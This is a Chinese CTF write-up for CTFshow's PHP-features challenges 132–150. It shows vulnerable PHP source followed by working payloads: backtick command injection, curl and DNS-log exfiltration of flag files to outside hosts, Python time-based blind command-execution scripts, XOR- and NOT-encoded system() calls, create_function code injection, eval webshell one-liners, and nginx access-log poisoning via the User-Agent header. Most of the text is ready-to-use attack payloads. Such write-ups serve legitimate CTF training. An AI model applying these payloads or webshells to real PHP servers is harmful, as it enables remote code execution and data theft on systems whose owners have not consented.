CTFSHOW PHP特性篇 (下篇132-150)

it2024-03-23  63

web132

if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code']; if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }

虚假的前端,在网址后面输入/admin进入源码界面

后面还是挺简单的 看个小例子大家就懂了

if(true && true || false){ echo 123; }

结果是123所以对于题目来说,我们只要保证$username ==="admin",其他的不满足就可以了 payload:username=admin&password=1&code=admin

web133

if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }

也是先给大家举个小例子

get传参 F=`$F `;sleep 3 经过substr($F,0,6)截取后 得到 `$F `; 也就是会执行 eval("`$F `;"); 我们把原来的$F带进去 eval("``$F `;sleep 3`"); 也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `;sleep 3"); 前面的命令我们不需要管,但是后面的命令我们可以自由控制。 这样就在服务器上成功执行了 sleep 3 所以 最后就是一道无回显的RCE题目了

无回显我们可以用反弹shell 或者curl外带 或者盲注 这里的话反弹没有成功,但是可以外带。

curl http://xxx:4567?p=`tac f*`

当然要是没有公网ip的话,bp也可以帮到我们这个忙 payload: curl -X POST -F xx=@flag.php http://xxx 具体使用方法如下 执行后我们查看bp中的内容

得到flag

web134

$key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }

考察点 :POST数组的覆盖

测试代码

parse_str($_SERVER['QUERY_STRING']); var_dump($_POST);

然后我们传入 _POST[‘a’]=123 会发现输出的结果为array(1) { ["‘a’"]=> string(3) “123” } 也就是说现在的$_POST[‘a’]存在并且值为123

题目中还有个extract($_POST) 这样的话 $a==123

payload:_POST[key1]=36d&_POST[key2]=36d

web135

在133的基础上增加了curl和其他一些字符的过滤,这时候其实可以通过ping得到flag的

payload:F=`$F `;ping `awk '/flag/' flag.php`.1mlbcw.dnslog.cn

获得dns地址

不知道为啥在133可以135不可以,没办法,只能再想个其他的命令了 发现没有限制写文件

payload:F=`$F `;nl f*>xxx

然后再去访问url/xxx就可以得到flag了

web136

其实是再135的基础上增加了过滤 >< 但是linux中还可以用tee写文件

ls|tee xxx

我们先来看下当前目录下有啥文件,访问url/xxx发现只有一个index.php 那我们再去看看根目录下有什么文件

ls /|tee xxx

得到 f149_15_h3r3 最后直接打开就可以了

nl /f149_15_h3r3|tee xxx

web137

class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } call_user_func($_POST['ctfshow']);

没有难度的一道题,考察调用类中的函数

payload: ctfshow=ctfshow::getflag

拓展

php中 ->与:: 调用类中的成员的区别 ->用于动态语境处理某个类的某个实例 ::可以调用一个静态的、不依赖于其他初始化的类方法.

也就是说双冒号可以不用实例化类就可以直接调用类中的方法

web138

在上一题的基础上过滤了冒号 这时候就考察我们对call_user_func函数的使用了,call_user_func中不但可以传字符串也可以传数组。 具体使用方法如下

call_user_func(array($classname, 'say_hello')); 这时候会调用 classname中的 say_hello方法 payload:ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

在136的基础上限制了写文件的权限,这时候可以考虑用盲打的方式。 猜测文件名

import requests import time import string str=string.ascii_letters+string.digits result="" for i in range(1,5): key=0 for j in range(1,15): if key==1: break for n in str: payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n) #print(payload) url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload try: requests.get(url,timeout=(2.5,2.5)) except: result=result+n print(result) break if n=='9': key=1 result+=" "

得到flag所在文件 f149_15_h3r3,接着盲注文件内容

import requests import time import string str=string.digits+string.ascii_lowercase+"-" result="" key=0 for j in range(1,45): print(j) if key==1: break for n in str: payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n) #print(payload) url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload try: requests.get(url,timeout=(2.5,2.5)) except: result=result+n print(result) break

因为过滤了{}所以会我们就不加{}出来,跑出来flag然后手动添加就可以了。 如果容易出错的话,可以在payload=xxx前面加个time.sleep(0.1)

web140

if(isset($_POST['f1']) && isset($_POST['f2'])){ $f1 = (String)$_POST['f1']; $f2 = (String)$_POST['f2']; if(preg_match('/^[a-z0-9]+$/', $f1)){ if(preg_match('/^[a-z0-9]+$/', $f2)){ $code = eval("return $f1($f2());"); if(intval($code) == 'ctfshow'){ echo file_get_contents("flag.php"); } } } }

可以看到只要我们让intval($code)为0就可以了 intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0 所以方法就挺多了

md5(phpinfo()) md5(sleep()) md5(md5()) current(localeconv) sha1(getcwd()) 因为/var/www/html md5后开头的数字所以我们改用sha1

还有很多,大家可以自行探索

web141

if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/^\W+$/', $v3)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }

先来看下正则表达式 /^\W+$/ 作用是匹配非数字字母下划线的字符 构造命令还是很简单的,大家可以看下我之前写过的一篇文章随便一种方式都可以构造出命令。我们先放到最后说,现在最主要的任务是return怎么绕过。 大家可以看下下面的示例

eval("return 1;phpinfo();");

会发现是无法执行phpinfo()的,但是php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();是可以执行phpinfo()命令的。 这样就好说了。构造出1-phpinfo()-1就可以了,也就是说 v1=1&v2=1&v3=-phpinfo()-。 现在我们的任务就是取构造命令,那我们就用个简单的方式取反来试一下。 运行脚本构造system(‘tac f*’)得到 (~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5) 所以最终payload

v1=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-&v2=1

web142

payload:v1=0

web143

过滤了加减我们还可以用乘除,过滤了~我们可以用异或构造命令 具体命令构造参考前面写的文章 payload:

v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1

web144

相对上面的几道类似的弱化了些 payload:

v1=1&v3=-&v2=(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)

web145

考察点:三目运算符的妙用 小测试

eval("return 1?phpinfo():1;");

这样是可以执行phpinfo()的 所以只需要在前面的payload上稍加改动就可以了 payload:

v1=1&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5):&v2=1

webweb146

又增加了分号的过滤,所以我们没法用三目运算符了,这时候想到了等号和位运算符

eval("return 1==phpinfo()||1;"); payload: v1=1&v3===(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)||&v2=1

web147

if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { $ctfshow('',$_GET['show']); } }

考察点:create_function()代码注入

create_function('$a','echo $a."123"') 类似于 function f($a) { echo $a."123"; }

那么如果我们第二个参数传入 echo 1;}phpinfo();// 就等价于

function f($a) { echo 1;}phpinfo();// } 从而执行phpinfo()命令

fuzz后发现%5c可以绕过这个正则表达式,具体原理可以看下这篇文章 这样我们就可以执行任意命令了 payload

get: show=echo 123;}system('tac f*');// post: ctf=%5ccreate_function

web148

if(isset($_GET['code'])){ $code=$_GET['code']; if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){ die("error"); } @eval($code); } else{ highlight_file(__FILE__); } function get_ctfshow_fl0g(){ echo file_get_contents("flag.php"); }

没有过滤^,所以直接异或构造就可以了。 payload

code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");

后来问了下出题人发现这不是预期解,预期解是利用中文变量 payload

code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*

其实也是利用异或构造

"`{{{"^"?<>/"; 异或出来的结果是 _GET

web149

$files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($_GET['ctf'], $_POST['show']); $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } }

非预期,直接往index.php里面写一句话 payload

ctf=index.php show=<?php eval($_POST[1]);?>

预期解 条件竞争

ctf=1.php show=<?php system('tac /c*');?>

使用bp不断访问并传参,然后开一个去不断访问 1.php

web150

非预期 日志文件包含写一句话 修改user_agent内容为一句话,然后包含/var/log/nginx/access.log就可以使用我们写的一句话了。 首先访问index.php 修改user_agent为<?php eval($_POST[1]);?> 然后包含日志文件后如下图所示

预期解暂未做出来,先到这了。我们下篇见。

最新回复(0)